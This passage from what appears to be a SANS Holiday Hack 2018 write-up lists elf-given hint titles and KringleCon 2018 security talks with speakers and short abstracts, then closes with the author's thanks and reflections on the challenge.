SQL Injection

From : Pepper Minstix

SQL Injection

SQLite3 .dump'ing

From : Minty Candycane

SQLite3 Data Dump

Using GDB to Call Random Functions!

From : Shinny Upatree

Using gdb to Call Random Functions!

Vi Editor Basics

From : Bushy Evergreen

Indiana University Vi Tutorials

Vim Artifacts

From : Tangle Coalbox

Forensic Relevance of Vim Artifacts

Website Directory Browsing

From : Minty Candycane

Website Directory Browsing

---

Talks

KringleCon 2018: Start Here

Speaker(s): Ed Skoudis

In this short overview, Ed Skoudis welcomes attendees to KringleCon 2018, the first-ever conference hosted by Santa at the North Pole as part of the SANS #HolidayHack challenge. In the session, Ed Skoudis describes the history of the conference, has some suggestions for what to do at KringleCon, and drops some hints about this year’s challenges.

Location: Track 2

Click here to watch this talk!

The Five Ways the Cyber Grinch Stole Christmas

Speaker(s): Dave Kennedy

Welcome KringleCon go’ers to KringleCon 2018! Coming straight from the North Pole inside of Santa’s shop, this talk dives into the top five ways attackers attempt to go after organizations and ways that you can better your security long-term. Santa asked me to give a talk that could be applied to helping secure the North Pole as Santa has been converting more specifically to IoT devices and the best ways he can protect the elf workshops from hackers. This talk dives into social engineering, perimeter attacks, weak passwords, and stories from the trenches to give you the most secure 2018 Christmas ever! Come join Dave Kennedy and Santa’s team as we talk security and make 2019 an even better one with security involved!

Location: Track 3

Click here to watch this talk!

Analyzing PowerShell Malware

Speaker(s): Chris Davis

In this talk we discuss how to properly reverse engineering many types of powershell malware from analyzing dropper downloads to powershell memory analysis.

Location: Track 4

Click here to watch this talk!

Breach Data and You

Speaker(s): Micah Hoffman

Location: Track 5

Click here to watch this talk!

Buried Secrets: Digging Deep Into Cloud Repositories

Speaker(s): Brian Hostetler

Does your organization have a repository in the cloud? If so, you may be at risk of leaking sensitive information. Let's learn how to locate and prevent information disclosures before commiting to cloud repositories.

Location: Track 4

Click here to watch this talk!

CSV Formula Injections: Pwn Web Apps Like a Ninja

Speaker(s): Brian Hostetler

Want to learn how to use and defend against DDE Attacks through spreadsheet software? In this talk we will explore DDE formula injections providing demonstrations on how to craft basic DDE to payloads to illustrate why this attack continues to be a spearphishing and APT attack vector favorite.

Location: Track 2

Click here to watch this talk!

Crash Course in Web App Pen Testing with Burp Suite

Speaker(s): Jason Nickola

♫ ♫ ♫ And a Web App Attack with Burp Suite!

Web app pen testing is fun, but diving into Burp Suite and getting started with no experience can be hard, so Santa asked me to put together this talk to get you started! From Intercept and Repeater to Intruder and Sequencer, together we will walk through the Burp Suite basics you need to know to start poking at the world of web apps.

Location: Track 5

Click here to watch this talk!

Escaping Python Shells

Speaker(s): Mark Baggett

I love Python! It is an amazing language that allows you to rapidly develop offensive, defensive and forensics tools to solve real world problems with a minimal effort and complexity. But Python has some functionality that can be dangerous when not fully understood. This talk will look at one example of that in the form of restricted Python shells and how those some of those restrictions can be bypassed.

Location: Track 7

Click here to watch this talk!

Everything You've Wanted to Know About Password Spraying, but Were Afraid to Ask

Speaker(s): Beau Bullock

Credentials are vital in that they provide access to data and services that would otherwise be inaccessible. Password attacks are at the forefront of techniques used by attackers trying to gain access to a network. A common password attack is to brute force credentials with thousands of login attempts. This can quickly lockout accounts in environments where account lockout policies are in place. Password spraying is a method for getting around this obstacle. In this introductory-level talk Beau Bullock @dafthack describes what password spraying is, and what tools can be utilized to perform this attack. A method for evading attribution is discussed as well.

Location: Track 6

Click here to watch this talk!

Evil Clouds

Speaker(s): John Strand

Location: Track 1

Click here to watch this talk!

Hacking Dumberly Not Harderer

Speaker(s): Tim Medin

Location: Track 7

Click here to watch this talk!

How Would I Hack You: Social Engineering Step-by-Step

Speaker(s): Rachel Tobac

The majority of cyber attacks now start with the human element. In Rachel's talk, How I Would Hack You: Social Engineering Step by Step, Rachel walks through the human behavior exploits that criminals use to gain access to your data, money and systems. Learn how social engineers pick targets, choose pretexts (who they pretend to be), and leverage your 6 principles of persuasion to infiltrate systems. You'll get to watch real life social engineering attacks and learn how to keep your family, company, friends, and coworkers safe from criminals looking to exploit you to get to your data.

Location: Track 2

Click here to watch this talk!

Intro to Hashcat

Speaker(s): Jon Gorenflo

Drop in for a short introduction to using Hashcat for password cracking! Learn a little history of the tool, the difference between CPU and GPU password cracking, and the basic attack modes Hashcat offers. I’ll wrap up the talk with a brief demo of the different attack modes that displays the password candidates to the screen so you can see and understand how the different attack modes work. Download the slides and check the notes on the last slide for a basic Hashcat cheat sheet!

Location: Track 6

Click here to watch this talk!

Key Decoding

Speaker(s): Deviant Ollam

Many people think that opening a lock when you're not explicitly authorized to involves the use of lockpicks. But why try to manipulate a lock when you could just use the proper key for it? While those who love lockpicking may shout "Fantasy" "Lunacy!" or "Heresy!" at this notion, trust me... it's true!

Producing a brand new working key for a lock doesn't require magic or mystery... all you need is the bitting code of the lock. And where would you seek out such a code? By taking a quick glance at a genuine, original key for the lock! Now you don't have to steal the key... you wouldn't want to wind up on Santa's naughty list! But by merely handling the original key for a moment (or even by simply photographing the key) it's possible to totally decode it within seconds.

Deviant will show you all how this works and publicly release tools that you can use to perform attacks like this yourself! Good luck and Happy Holidays!

Location: Track 5

Click here to watch this talk!

HTTP/2 - Because 1 is the Loneliest Number

Speaker(s): Chris Elgee and Chris Davis

Have you taken a dive into HTTP/2 yet? Chances are: you're using it more than you think already. Most major websites and all current browsers use it by default. Let's talk about this ubiquitous technology so we can better understand, test, and troubleshoot this protocol.

Location: Track 2

Click here to watch this talk!

Malware Zoo

Speaker(s): John Strand

Location: Track 7

Click here to watch this talk!

PCAP for Fun and Profit

Speaker(s): Mike Poor

PCAP for fun and profit will discuss common tools and uses for packet capture, packet analysis and packet crafting. Whether you are a pentester or investigator, packet tools are your friend. Use them to pull credentials off the wire, sling packets or look for new machines to pwn.

Location: Track 4

Click here to watch this talk!

Pivoting: SSH

Speaker(s): Derek Rook

Pen test targets behind a firewall and all you have is SSH access to a single foothold? Need to monitor systems at home while you're traveling? Fret no longer! We discuss the most useful SSH flags in existence and show you how to impress your friends with mind bendy SSH magic!

Location: Track 1

Click here to watch this talk!

PowerShell for Pen Testing

Speaker(s): Mick Douglas

Location: Track 6

Click here to watch this talk!

Quick Intro Attacking a Kubernetes Cluster

Speaker(s): Jay Beale

In this talk, @InGuardians CTO Jay Beale will show you one attack path on a Kubernetes cluster, starting from when you compromise a program running on one, and ending with complete compromise of the cluster. Come learn how to attack Kuberenetes!

Location: Track 5

Click here to watch this talk!

Smartphone Forensics: Why Building a Toolbox Matters

Speaker(s): Heather Mahalik

In the world of forensics, mobile device investigations could be the most complicated of all. Ever changing technology guarantees that when it comes to you and your forensic tools, there is no such a thing as a monogamous relationship. There are a plethora of mobile forensics tools available to make your job easier, but do they? What happens when the tool cannot support an application relevant to your investigation? What happens when the tools disagree about an artifact and the results don’t match? What happens if the user upgraded the OS on their device and your tool cannot support it? What do you do? In this talk, Heather Mahalik will discuss the importance of using multiple tools during mobile device investigations, how a simple upgrade can wreak havoc on your investigation, but most importantly, how success depends on you, as you perform manual verifications and confirm your forensic tools are presenting data correctly.

Location: Track 5

Click here to watch this talk!

Sneaking Secrets from SMB Shares

Speaker(s): Katie Knowles

You're in the network, you've got credentials, and your in-depth scans are running. What's next to compromise the Whoville domain? We'll cover a simple, sneaky look at uncovering common secrets hidden in the SMB file shares you might encounter on a test. Between user secrets and administrative misconfigurations, you'd be surprised what you might find!

Location: Track 4

Click here to watch this talk!

Software Defined Radio: The New Awesome

Speaker(s): Larry Pesce

A brief look at Software Defined Radio platforms and how they can expose us new wireless protocols. We'll examine a few interesting software packages (with demos) to begin our exploration of the RF spectrum. We'll also discuss what the advent of SDR can change the landscape for C&C, data exfiltration and information gathering.

Location: Track 1

Click here to watch this talk!

The Secret to Building Community

Speaker(s): Jack Daniel

Jack Daniel, one of the founders of the BSides Community speaks about how to build community and the importance of giving people a voice and a platform to share ideas.

Location: Track 1

Click here to watch this talk!

Web App 101: Getting the Lay of the Land

Speaker(s): Mike Saunders

Mike Saunders gives an introduction to web app pen testing with stories of why you should cover the basics in the beginning to save your self a lot of grief in the end.

Location: Track 7

Click here to watch this talk!

---

Some after words

Someone may think that it's a lot of text for some not so complicated vulnerabilities. But we learn by doing, and I learnt a lot of things along this journey. I think that the amount of work spent to create such a challenge deserves the amount of work spent to present a solution. And I did my best to write one which may in turn teach something to someone else. Hope it will be the case.

Thanks to Ronan who gave me the motivation to do this challenge.

And a great "Thank you" to the SANS institute and the CounterHack teams who produced an outstanding challenge. It was a real pleasure to try to solve it !

---

Infosec world is a great place to work. Don't forget to teach assembly to your children !

In memory of Fravia who inspired all of us.